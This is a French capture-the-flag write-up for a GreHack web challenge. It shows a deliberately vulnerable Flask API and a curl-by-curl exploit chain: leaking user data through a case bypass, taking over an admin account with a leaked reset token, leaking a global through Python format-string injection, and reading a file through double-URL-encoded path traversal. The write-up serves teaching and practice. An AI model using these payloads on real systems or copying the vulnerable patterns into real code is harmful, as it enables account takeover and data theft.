Authors : Elweth, Nishacid
URL : https://beer-me-up-before-you-format.ctf.grehack.fr
Découverte
On nous donne le code suivant :
from flask import (
Flask,
request,
render_template,
jsonify
)
from api.queries import *
import os
import jwt
import urllib
app = Flask(__name__)
SECRET = os.urandom(24)
ENDPOINTS = ["users"] # add new endpoints in the futur..
@app.route("/")
def home():
return render_template("index.html")
# To manage multi-endpoints
@app.route("/api/<endpoint>/<id_user>")
def parse(endpoint, id_user):
if endpoint.lower() in ENDPOINTS:
if endpoint == "users":
return jsonify(error="This endpoint is for admins only."), 403
return jsonify(get_user(int(id_user)))
else:
return jsonify(error="This page does not exists."), 404
@app.route("/api/password-reset", methods=["POST"])
def password_reset():
json = request.get_json()
try:
token = json["token"]
password = json["password"]
if update_password(token, password):
return jsonify(success="The password has been reset.")
else:
return jsonify(error="An error has occured.")
except Exception as e:
print(e)
return jsonify(error="Parameter 'token' or 'password' are missing.")
@app.route("/api/login", methods=["POST"])
def login():
json = request.get_json()
try:
datas = api_login(json["username"], json["password"])
jwt_token = jwt.encode(datas, SECRET, algorithm="HS256")
return jsonify(jwt=jwt_token)
except Exception as e:
print(e)
return jsonify(error="Incorrect username or password.")
@app.route("/api/admin", methods=["POST"])
def admin():
jwt_token = request.headers.get("X-Api-Key")
if jwt_token is None:
return jsonify(error="You must provide X-Api-Key header.")
try:
if jwt.decode(jwt_token, SECRET, algorithms=["HS256"])["role"] == "ADMIN":
secret = request.get_json()["secret"]
secret = Secret(secret)
print(secret)
return render_template("secret.html", secret=f"{secret}".format(secret=secret))
else:
return jsonify(error="You must be admin !")
except Exception as e:
return jsonify(error=f"An eror has occured : {e}")
@app.route(f"/api/{SECRET_ENDPOINT}", methods=["POST"])
def secret():
jwt_token = request.headers.get("X-Api-Key")
if jwt_token is None:
return jsonify(error="You must provide X-Api-Key header.")
try:
if jwt.decode(jwt_token, SECRET, algorithms=["HS256"])["role"] == "ADMIN":
filename = urllib.parse.unquote(request.get_json()['filename'])
data = "This file doesn't exist"
bad_chars = ["../", "\\", "."]
is_safe = all(char not in filename for char in bad_chars)
if is_safe:
filename = urllib.parse.unquote(filename)
if os.path.isfile('./'+ filename):
with open(filename) as f:
data = f.read()
return jsonify(data)
else:
return jsonify(error="You must be admin !")
except Exception as e:
return jsonify(error=f"An eror has occured : {e}")
SECRET_ENDPOINT = "secret"
class Secret:
def __init__(self, secret):
self.secret = secret
def __repr__(self):
return f"The secret endpoint is : /{self.secret} !"
On a également un Dockerfile qui nous dit que le fichier flag.txt se situe à la racine, l’objectif va donc être de lire ce fichier, ça tombe bien parce qu’un endpoint permet de lire des fichiers : le SECRET_ENDPOINT.
En lisant le code, on voit qu’il faut donc leak la variable globale SECRET_ENDPOINT et obtenir un token d’admin.
Résolution
Token
On va déjà essayer de trouver un admin dans la base de donnée : via /api/<endpoint>/<id_user>
Il suffit de prendre endpoint = Users pour pouvoir accéder aux infos des users à cause du .lower (ligne 1 de la fonction parse). On va donc tester plusieurs IDs jusqu’à trouver un admin.
$ curl https://beer-me-up-before-you-format.ctf.grehack.fr/api/Users/2
> [{"address":"914-3237 Duis St.","city":"North Waziristan","email":"olsen@icloud.fr","id":2,"phone":"05 88 45 53 65","postalZip":"531448","region":"D\u014dngb\u011bi","role":"ADMIN","token":"74317EF3-5110-385B-2FDC-A07F4F1D9F42","username":"Olsen"}]
On a désormais le token d’un admin.
Mot de passe
On va ensuite changer son mot de passe via /api/password-reset
$ curl https://beer-me-up-before-you-format.ctf.grehack.fr/api/password-reset -X POST -H "Content-Type: application/json" --data '{"token": "74317EF3-5110-385B-2FDC-A07F4F1D9F42", "password": "zyjxzbxa1Pt"}'
> {"success":"The password has been reset."}
JWT
Avec son mot de passe, on va être capable de récupérer un jwt via /api/login
$ curl https://beer-me-up-before-you-format.ctf.grehack.fr/api/login -X POST -H "Content-Type: application/json" --data '{"username": "Olsen", "password": "zyjxzbxa1Pt"}'
> {"jwt":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Miwicm9sZSI6IkFETUlOIn0.bwFy-2oXWhomPZxfljwwtLaVAY2fOcmixgjQFWKPYZQ"}
SECRET_ENDPOINT
On a désormais un JWT d’admin valide et on peut donc accéder à /api/admin
C’est ici que le titre du challenge va entrer en jeu, on s’aperçoit que l’entrée utilisateur va subir un .format à la ligne 9 de la fonction « admin » à cause du fait que le développeur ait utilisé une f string doublé d’un .format au lieu de ne faire que l’un des 2.
On se retrouve donc dans la situation suivante : on va avoir a.format(secret=secret) avec a = « xxx<contrôlé par l’utilisateur>xxx », on va donc pouvoir exploiter ça de la manière suivante :
$ curl https://beer-me-up-before-you-format.ctf.grehack.fr/api/admin -X POST -H "Content-Type: application/json" -H "X-Api-Key: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Miwicm9sZSI6IkFETUlOIn0.bwFy-2oXWhomPZxfljwwtLaVAY2fOcmixgjQFWKPYZQ" --data '{"secret": "{secret.__init__.__globals__[SECRET_ENDPOINT]}"}'
> The secret endpoint is : /admin-s3cr3t-3ndp01nt-Ungu3ss4ble !
FLAG
On a donc le fameux SECRET_ENDPOINT et on veut récupérer le /flag.txt
Déjà on se rend compte que l’entrée utilisateur va être préfixée par un `./`, on va donc devoir utiliser un chemin relatif.
Ensuite, on a interdiction d’utiliser les caractères suivants :
["../", "\\", "."]
Heureusement, le développeur n’est pas très dégourdi et va faire 2 urllib.parse.unquote, un avant la vérification des caractères et un après, on va donc pouvoir faire du double encoding pour bypass la vérification :
$ curl https://beer-me-up-before-you-format.ctf.grehack.fr/api/admin-s3cr3t-3ndp01nt-Ungu3ss4ble -X POST -H "Content-Type: application/json" -H "X-Api-Key: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Miwicm9sZSI6IkFETUlOIn0.bwFy-2oXWhomPZxfljwwtLaVAY2fOcmixgjQFWKPYZQ" --data '{"filename": "%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/flag%252etxt"}'
> "GH{F0rm4t_Str1ng_t0_D4T4_L34K}"